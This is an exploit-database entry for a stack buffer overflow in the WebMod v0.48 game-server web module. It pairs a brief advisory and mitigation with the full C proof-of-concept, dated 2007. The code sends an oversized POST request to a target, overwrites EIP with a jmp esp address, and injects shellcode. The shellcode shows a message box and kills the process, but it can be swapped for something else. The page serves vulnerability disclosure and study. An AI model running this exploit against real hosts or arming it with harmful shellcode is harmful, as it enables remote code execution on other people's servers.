header-logo
Suggest Exploit
vendor:
WebMod
by:
cybermind (Kevin Masterson)
7.5
CVSS
HIGH
Stack Buffer Overflow
121
CWE
Product Name: WebMod
Affected Version From: WebMod v0.48
Affected Version To: WebMod v0.48
Patch Exists: NO
Related CWE: Not provided
CPE: Not provided
Metasploit:
Other Scripts:
Platforms Tested: Not provided
Not provided

WebMod Stack Buffer Overflow

The WebMod v0.48 software is vulnerable to a stack buffer overflow. This vulnerability can be exploited by sending a specially crafted HTTP request to the server. The exploit code included in the code section of the program demonstrates how to inject malicious code into the server's memory and execute it. This particular exploit code only works on Windows 2000 SP4 with kernel32.dll v5.0.2195.6688.

Mitigation:

To mitigate this vulnerability, it is recommended to update the WebMod software to a version that includes a patch for this issue. Additionally, implementing proper input validation and sanitization techniques can help prevent stack buffer overflows.
Source

Exploit-DB raw data:

/*
 * WebMod Stack Buffer Overflow
 *
 * by cybermind (Kevin Masterson)
 * cybermind@gmail.com
 *
 * WebMod v0.48 exploit PoC code
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock.h>
#pragma comment (lib, "ws2_32.lib")

/*
local variables in connectHandle():

char *input;			4
char buf[8192+1];		8193
int i,j;			8
int connfd;			4
int myid;			4
threaddata_t *tdata;		4
httpquery_t query;		149036
char tmp[1025];			1025
int rcv;			4
char clbuf[11];			11

total:				158293
actual (due to padding):	158308


  breakdown of types:
	typedef struct s_var {		546
	  char name[33];		  33
	  char value[513];		  513
	} var_s;


	typedef struct s_httpquery {	149036
	  char method[11];		  11
	  char clientip[16];		  16
	  char url[257];		  257
	  char *get;			  4
	  char *post;			  4
	  char *cookies;		  4
	  var_s vars[256];		  139776
	  char currentmapname[257];	  257
	  char sendcookies[8192+1];	  8193
	  char contenttype[257];	  257
	  char location[257];		  257
	} httpquery_t;
*/

//contains data to fill the Content-Length field with
char spambuf[20000];

//code to inject
//this particular code only works on Win2K SP4 (v5.0.4.0)
//and kernel32.dll v5.0.2195.6688
unsigned char code[] = {
					// ; push string onto the stack without using 0x00
	0xB8, 0x59, 0x5A, 0x32, 0x11,	//mov     eax, 11325A59h ; "HI!\0" + 11111111h
	0x2D, 0x11, 0x11, 0x11, 0x11,	//sub     eax, 11111111h
	0x50,				//push    eax
	0x8B, 0xC4,			//mov     eax, esp	 ; eax points to string

	0x33, 0xC9,			//xor     ecx, ecx	 ; zero

					// ; call MessageBox
	0x51,				//push    ecx		 ; flags (0)
	0x50,				//push    eax		 ; caption
	0x50,				//push    eax		 ; text
	0x51,				//push    ecx		 ; hwnd (0)
	0xB8, 0x98, 0x80, 0xE3, 0x77,	//mov     eax, 77E38098h ; &MessageBox
	0xFF, 0xD0,			//call    eax

					// ; call GetCurrentProcessId
	0xB8, 0xF4, 0xB8, 0x4E, 0x7C,	//mov     eax, 7C4EB8F4h ; &GetCurrentProcessId
	0xFF, 0xD0,			//call    eax

	0x33, 0xC9,			//xor     ecx, ecx	 ; zero

					// ; call TerminateProcess
	0x51,				//push    ecx		 ; return code (0)
	0x50,				//push    eax		 ; process id
	0xB8, 0xC3, 0x8D, 0x51, 0x7C,   //mov     eax, 7C518DC3h ; &TerminateProcess
	0xFF, 0xD0			//call    eax

};

//EIP you want to insert, this points to an "FF E4" (jmp esp) in w_mm.dll
//set this to 0xFFFFFFFF to just cause a crash
unsigned int our_eip = 0x67E03C5B;

int main(int argc, char* argv[]) {
	WSADATA wsadata;
	int sock = 0;
	struct hostent* host = NULL;
	struct sockaddr_in saddr;

	//data to sent initially
	char initbuf[] = "POST / HTTP/1.1\nHost: localhost:27015\nContent-Length: ";

	//data to send after headers
	char endbuf[] = "\n\n";

	char* hostname = NULL;
	short hostport = 27015;

	int i;
	unsigned int sent = 0;

	//get host/port from command line
	if (argc < 2) {
		printf("Usage:\t%s <hostname|ip> [port=27015]\n", argv[0]);
		return 1;
	}
	hostname = argv[1];
	if (argc >= 3) hostport = atoi(argv[2]);

	WSAStartup(MAKEWORD(1,1), &wsadata);

	sock = socket(AF_INET, SOCK_STREAM, 0);
	if (sock <= 0) {
		printf("socket() error\n");
		return 1;
	}

	host = gethostbyname(hostname);
	if (!host) {
		printf("gethostbyname() error\n");
		return 1;
	}

	printf("Resolved \"%s\" to %s\n", hostname, inet_ntoa(*(struct in_addr*)host->h_addr_list[0]));

	memset(&saddr, 0, sizeof(struct sockaddr_in));
	saddr.sin_family = AF_INET;
	saddr.sin_port = htons(hostport);
	memcpy(&saddr.sin_addr.s_addr, host->h_addr_list[0], host->h_length);

	if (connect(sock, (struct sockaddr*)&saddr, sizeof(struct sockaddr)) < 0) {
		printf("connect() error\n");
		return 1;
	}

	//initialize buffers
	memset(spambuf, 'a', sizeof(spambuf));

	//send initial POST request
	sent += send(sock, initbuf, sizeof(initbuf)-1, 0);

	//send 7 full spambufs to get 140000 bytes
	for (i = 0; i < 7; ++i)
		sent += send(sock, spambuf, sizeof(spambuf), 0);

	//send partial spambuf to fill remaining data
	//(18308, this goes right up to the EIP)
	sent += send(sock, spambuf, 18308, 0);

	//fill EIP
	sent += send(sock, (char*)&our_eip, sizeof(our_eip), 0);

	//insert code!
	sent += send(sock, (char*)code, sizeof(code), 0);

	//send newlines after content-length
	sent += send(sock, endbuf, sizeof(endbuf)-1, 0);

	printf("%u bytes sent...waiting...\n", sent);

	//wait for a while so the socket isn't closed on our end
	//before they receive all the data
	Sleep(15000);

	return 0;
}

// milw0rm.com [2007-03-01]